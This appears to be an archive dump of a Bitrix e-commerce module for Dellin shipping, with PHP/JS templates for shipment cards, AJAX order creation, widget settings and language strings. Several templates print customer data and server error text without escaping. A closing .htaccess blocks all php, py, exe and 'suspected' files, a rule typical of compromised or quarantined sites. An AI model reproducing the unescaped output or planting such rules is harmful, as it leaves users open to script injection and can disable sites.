    <div class="crm-doc-cart" style="display: flex; flex-direction: column;">
        <div class="crm-doc-cart-user-info">
            <h1><?= Loc::getMessage("DELLINDEV_CLIENT_INFO") ?></h1>
        </div>
        <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_CLIENT_NAME") ?><?= $personInfo['personName']?></div>
        <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_CONTACT_PHONE") ?><?=$personInfo['personPhone']?></div>
        <div class="crm-doc-cart-user-info">Email: <?=$personInfo['personEmail']?></div>
        <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_ADDRESS") ?><?=$personInfo['country'].', '.$personInfo['regionName'].
            ', '.$personInfo['cityName'].', '.$personInfo['personAddress']?></div>
    </div>

    <div class="crm-doc-cart" style="flex-direction: column">
        <div class="crm-doc-cart-user-info">
            <h1><?= Loc::getMessage("DELLINDEV_INFO_SHIPMENT") ?></h1>
        </div>
        <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_SCHEME_DELIVERY") ?><?= $schemeDelivery?></div>
        <div class="crm-doc-cart-user-info"><?= $phraseAddressDerival?>: <?= $shipmentInfo['ADDRESS_DERIVAL']?></div>
        <div class="crm-doc-cart-user-info"><?= $phraseAddressArival ?>: <?= $shipmentInfo['ADDRESS_ARIVAL']?></div>
        <div class="crm-doc-cart">
            <?
            $APPLICATION->IncludeComponent(
                'bitrix:main.ui.grid',
                '',
                [
                    'GRID_ID' => 'report_list',
                    'COLUMNS' => [
                        ['id' => 'ID', 'name' => 'ID', 'sort' => 'ID', 'default' => true],
                        ['id' => 'NAME', 'name' => Loc::getMessage("DELLINDEV_NAMEPRODUCT"), 'sort' => 'NAME', 'default' => true],
                        ['id' => 'COUNT', 'name' => Loc::getMessage('DELLINDEV_COUNT_IN_SHIPMENT'), 'sort' => 'COUNT', 'default' => true],
                        ['id' => 'WGH', 'name' => Loc::getMessage("DELLINDEV_WGH"), 'sort' => 'WGH', 'default' => true],
                        ['id' => 'COST', 'name' => Loc::getMessage('DELLINDEV_COST'), 'sort' => 'COST', 'default' => true],
                    ],
                    'ROWS' => $listProduct,
                    'SHOW_ROW_CHECKBOXES' => false,
                    'AJAX_MODE' => 'Y',
                    'AJAX_ID' => \CAjax::getComponentID('bitrix:main.ui.grid', '.default', ''),
                    'AJAX_OPTION_JUMP'          => 'N',
                    'SHOW_CHECK_ALL_CHECKBOXES' => false,
                    'SHOW_ROW_ACTIONS_MENU'     => false,
                    'SHOW_GRID_SETTINGS_MENU'   => false,
                    'SHOW_NAVIGATION_PANEL'     => false,
                    'SHOW_PAGINATION'           => false,
                    'SHOW_SELECTED_COUNTER'     => false,
                    'SHOW_TOTAL_COUNTER'        => false,
                    'SHOW_PAGESIZE'             => false,
                    'SHOW_ACTION_PANEL'         => false,
                    'ALLOW_COLUMNS_SORT'        => false,
                    'ALLOW_COLUMNS_RESIZE'      => true,
                    'ALLOW_HORIZONTAL_SCROLL'   => false,
                    'ALLOW_SORT'                => false,
                    'ALLOW_PIN_HEADER'          => false,
                    'AJAX_OPTION_HISTORY'       => 'N'
                ]
            );
            ?>
        </div>
        <?php if (!$shipmentInfo['TRACKING_NUMBER']): ?>
            <div class="crm-doc-cart">
                <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_DATE_UNLOAD") ?><input id="produce-date" value="<?= $shipmentInfo['DEFAULT_DATE'] ?>" > </div>
                <button id="send" class="ui-btn ui-btn-success"><?= Loc::getMessage("DELLINDEV_CREATE_REQUEST") ?></button>
            </div>
        <? else : ?>
            <div class="crm-doc-cart">
                <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_TRACKING_NUMBER")?>  <?= $shipmentInfo['TRACKING_NUMBER'] ?></div>
                <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_STATE_DELIVERY") ?> <?= $shipmentInfo['STATUS_TRACKING'] ?></div>
                <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_DATE_DELIVERY") ?><?= $shipmentInfo['DATE_ARRIVAL'] ?></div>
            </div>
        <? endif ?>
    </div>
</div>

<script>



    BX.ready(function () {


        BX.namespace('BX.DellinCRM');

        BX.message({
            "DELLINDEV_PROCESS_CREATE_REQUEST" : "<?=Loc::getMessage('DELLINDEV_PROCESS_CREATE_REQUEST') ?>",
            'DELLINDEV_NEXT' : " <?=Loc::getMessage('DELLINDEV_NEXT') ?>"
        });


        BX.DellinCRM = {
            postData: {
                action: 'create_order',
                order_id: <?=$orderID ?> ,
                shipment_id: <?= $shipmentID?>,
                is_order: true,
                produce_date:  "<?= $shipmentInfo['DEFAULT_DATE'] ?>",
                sessid: BX.bitrix_sessid(),
            },
            dateCalendar: "<?= $shipmentInfo['DEFAULT_DATE'] ?>",
            createCalendarWithStateForValidWorkInIframe: function(event){
                BX.calendar({node: event.target,
                    field: event.target,
                    bTime: false,
                    callback_after: function(event) {
                        BX.DellinCRM.postData.produce_date = BX.date.format("d.m.Y", event);
                        console.log('Changed date to:', BX.DellinCRM.postData.produce_date);
                    }
                });

            },
            renderErrorsBlockInAlert: function (result) {
                let block = document.createElement('div');
                block.style = 'color:red;';

                Object.values(result.errors).map((item) => {

                    let span = document.createElement('span');
                    span.innerHTML = item;
                    let br = document.createElement('br');
                    block.appendChild(span);
                    block.appendChild(br);

                });

                return block.outerHTML;
            },
            alertIfsuccess: function (message, action) {

                BX.UI.Dialogs.MessageBox.show(
                    {
                        message: message,
                        title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'),
                        buttons: [
                            new BX.UI.Button(
                                {
                                    color: BX.UI.Button.Color.DANGER,
                                    text: action,
                                    onclick: function (button, event) {
                                        setTimeout(() => window.location.reload(), 3000);
                                        button.context.close();
                                    }
                                }
                            ),
                            new BX.UI.CancelButton()
                        ],
                    }
                );
            },
            alertIfPriceChange: function (message, action, postData) {

                BX.UI.Dialogs.MessageBox.show(
                    {
                        message: message,
                        title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'),
                        buttons: [
                            new BX.UI.Button(
                                {
                                    color: BX.UI.Button.Color.DANGER,
                                    text: action,
                                    onclick: function (button, event) {
                                        postData.price_changed = true;

                                        console.log('Data sended:', postData);
                                        BX.DellinCRM.ajaxSend(postData);
                                        //TODO �������� ��������
                                        button.context.close();
                                    }
                                }
                            ),
                            new BX.UI.CancelButton()
                        ],
                    }
                );
            },
            alertIfError: function (message, action) {

                BX.UI.Dialogs.MessageBox.show(
                    {
                        message: message ,
                        title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'),
                        buttons: [
                            new BX.UI.Button(
                                {
                                    color: BX.UI.Button.Color.DANGER,
                                    text: action,
                                    onclick: function (button, event) {

                                        button.context.close();
                                    }
                                }
                            ),
                            new BX.UI.CancelButton()
                        ],
                    }
                );
            },

            ajaxSend: function (postData) {
                BX.DellinCRM.showLoading();

                BX.ajax({
                    timeout:    300,
                    method:     'POST',
                    dataType:   'json',
                    url:        '/bitrix/tools/dellindev.shipment/dellin_ajax.php',
                    data:       postData,

                    onsuccess: function(result)
                    {

                        if (!result) return;

                        //            console.log(result);
                        if(result.status == 'success'){
                            BX.DellinCRM.hideLoading();
                            BX.DellinCRM.alertIfsuccess(result.message, BX.message('DELLINDEV_NEXT'));
                        }

                        if(result.status == 'price_changed'){
                            BX.DellinCRM.hideLoading();
                            console.log('response price_change', result);

                            BX.DellinCRM.alertIfPriceChange(result.message, BX.message('DELLINDEV_NEXT'), postData);
                        }

                        if(result.status == 'price_update'){
                            BX.DellinCRM.hideLoading();
                            postData.price_changed = false;
                            BX.DellinCRM.ajaxSend(postData)
                        }

                        if(result.status == 'error'){

                            BX.DellinCRM.hideLoading();

                            let info = result.message + '<br/>' + BX.DellinCRM.renderErrorsBlockInAlert(result);
                            BX.DellinCRM.alertIfError(info, BX.message('DELLINDEV_NEXT'));

                            console.error('Errors type:',result.typeErrors);
                            Object.values(result.errors).map((item) => console.error(item));


                        }

                    },

                    onfailure: function(status)
                    {
                        console.log("onfailture", status);
                    }
                });
            },
            showLoading: function (){

                BX.DellinCRM.hideLoading();

                let contentCDialogBlock = document.querySelector('#app');

                let loadingWrap = BX.DellinCRM.createLoadingWrap();
                let loading = BX.DellinCRM.createLoadingBlock();

                contentCDialogBlock.appendChild(loadingWrap);
                contentCDialogBlock.appendChild(loading);
            },
            hideLoading: function(){
                let loadingWrap = document.querySelector('.loading-wrap');
                let loading = document.querySelector('.loading');

                if(!loadingWrap) return;
                if(!loading) return;

                loadingWrap.remove();
                loading.remove();
            },
            createLoadingWrap: function(){
                let loadingWrap = document.createElement('div');
                loadingWrap.className = 'loading-wrap';
                loadingWrap.style = '    width: 100%;' +
                    '    height: 100%;' +
                    '    position: absolute;' +
                    '    top: 0;' +
                    '    left: 0;' +
                    '    background: rgba(0,0,0,0.5);' +
                    '    z-index:99;';

                return loadingWrap;

            },
            createLoadingBlock: function(){

                let styleForBlocks = '    position: fixed;' +
                    '    top: 0px;' +
                    '    right: 0px;' +
                    '    z-index: 9999;' +
                    '    background: #fff;' +
                    '    padding: 20px;' +
                    '    border-radius: 10px;' +
                    '    box-shadow:0 0 5px rgba(0,0,0,0.5);';

                let loading = document.createElement('div');
                loading.className = 'loading';
                loading.style = styleForBlocks;

                let span = document.createElement('span');
                span.className = 'loading-content';
                span.style = styleForBlocks;

                let img = document.createElement('img');
                img.src = '/bitrix/js/main/core/images/wait.gif';

                span.appendChild(img);
                loading.appendChild(span);

                return loading;

            },
        };


        let button = document.querySelector('#send');

        let inputProduceDate = document.querySelector('#produce-date');
        inputProduceDate.addEventListener('click', (event)=>{
            BX.DellinCRM.createCalendarWithStateForValidWorkInIframe(event);
        });

        //let postData = {
        //    action: 'create_order',
        //    order_id: <?//=$orderID ?>// ,
        //    shipment_id: <?//= $shipmentID?>//,
        //    is_order: true,
        //    produce_date:  BX.DellinCRM.dateCalendar,
        //    sessid: BX.bitrix_sessid(),
        //};


        button.addEventListener('click', ()=>{
            
                console.log(BX.DellinCRM.postData);
                BX.DellinCRM.ajaxSend(BX.DellinCRM.postData);
            

        })

    })
</script>
components/dellindev/dellindev.shipment.widgetsettings/.parameters.php000064400000000212151760651320022471 0ustar00<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die();

$arComponentParameters = Array(
	'PARAMETERS' => array()
);
?>components/dellindev/dellindev.shipment.widgetsettings/lang/ru/class.php000064400000000225151760651320022730 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения";
?>components/dellindev/dellindev.shipment.widgetsettings/lang/en/class.php000064400000000072151760651320022704 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations";
?>components/dellindev/dellindev.shipment.widgetsettings/class.php000064400000002130151760651320021356 0ustar00<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class CSaleDellinWidget extends CBitrixComponent
{
	protected function checkParams($params)
	{

        if(!isset($params['yandex_map_api_key']))
            throw new \Bitrix\Main\ArgumentNullException('yandex_map_api_key');

		

	}

	public function onPrepareComponentParams($params)
    {

		if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) {

			$configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']);
			$params['WIDGET'] = $configParams['CONFIG']['WIDGET'];
		}



		$params['yandex_map_api_key']=COption::GetOptionString("fileman", "yandex_map_api_key");

        return $params;
    }
	public function executeComponent()
	{
		try
		{
			$this->checkParams($this->arParams);
		}
		catch(\Exception $e)
		{
			ShowError($e->getMessage());
			return;
		}

		if(!CModule::IncludeModule('sale'))
		{
			ShowError("Module sale not installed!");
			return;
		}



		CJSCore::Init('core', 'ajax');
		$this->includeComponentTemplate();
	}
}components/dellindev/dellindev.shipment.widgetsettings/templates/.default/lang/ru/template.php000064400000002117151760651320027140 0ustar00<?
$MESS["DELLINDEV_SHIPMENT_KLUC_DLA"] = "Ключ API для Yandex Карт";
$MESS["DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL"] = "Примечание: поле \"Ключ API для Yandex Карт\" заполняется внутри модуля ";
$MESS["DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO"] = "Управление структурой\"";
$MESS["DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE"] = "Если ключ яндекса не указан - карта не отобразится.
        ";
$MESS["DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI"] = "Другие настройки";
$MESS["DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET"] = "Представление виджета";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE"] = "Использовать старое представление";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P"] = "Использовать новое представление с картами";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1"] = "Использовать новое представление и не использовать карту";
?>components/dellindev/dellindev.shipment.widgetsettings/templates/.default/lang/en/template.php000064400000002117151760651320027114 0ustar00<?
$MESS["DELLINDEV_SHIPMENT_KLUC_DLA"] = "Ключ API для Yandex Карт";
$MESS["DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL"] = "Примечание: поле \"Ключ API для Yandex Карт\" заполняется внутри модуля ";
$MESS["DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO"] = "Управление структурой\"";
$MESS["DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE"] = "Если ключ яндекса не указан - карта не отобразится.
        ";
$MESS["DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI"] = "Другие настройки";
$MESS["DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET"] = "Представление виджета";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE"] = "Использовать старое представление";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P"] = "Использовать новое представление с картами";
$MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1"] = "Использовать новое представление и не использовать карту";
?>components/dellindev/dellindev.shipment.widgetsettings/templates/.default/template.php000064400000004256151760651320025577 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);







?>

<tr class="heading">
    <td colspan="2"><?= GetMessage("DELLINDEV_SHIPMENT_KLUC_DLA") ?><br/>
        <small><?=GetMessage("DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL")?><a href="/bitrix/admin/settings.php?lang=ru&mid=fileman&mid_menu=1">"<?=GetMessage("DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO")?></a>
        <br/> <?=GetMessage("DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE")?></small></td>
</tr>
<tr>

    <td width="40%"><?= GetMessage("DELLINDEV_SHIPMENT_KLUC_DLA") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" readonly
               value='<? echo $arParams['yandex_map_api_key'] ?>'
        >
    </td>

</tr>

<tr class="heading">
    <td colspan="2"><?= GetMessage("DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI") ?><br/></td>
</tr>
<tr>
    <td width="40%"><?= GetMessage("DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
    <select name="CONFIG[WIDGET][VIEW_TYPE]">
            <option value="0"
                <? ($arParams['WIDGET']['VIEW_TYPE'] == '0')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE") ?></option>
            <option value="1"
                <? ($arParams['WIDGET']['VIEW_TYPE'] == '1')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P") ?></option>
            <option value="2"
                <? ($arParams['WIDGET']['VIEW_TYPE'] == '2')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1") ?></option>
    </select>
    </td>

</tr>


<script type="text/javascript">

	BX.message({
		"SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>",
		"SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>",
		"SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>",
		"SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>",
		"SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>"
	});

	BX.ready(function() {

	});
</script>
.htaccess000044400000000177151760651320006353 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>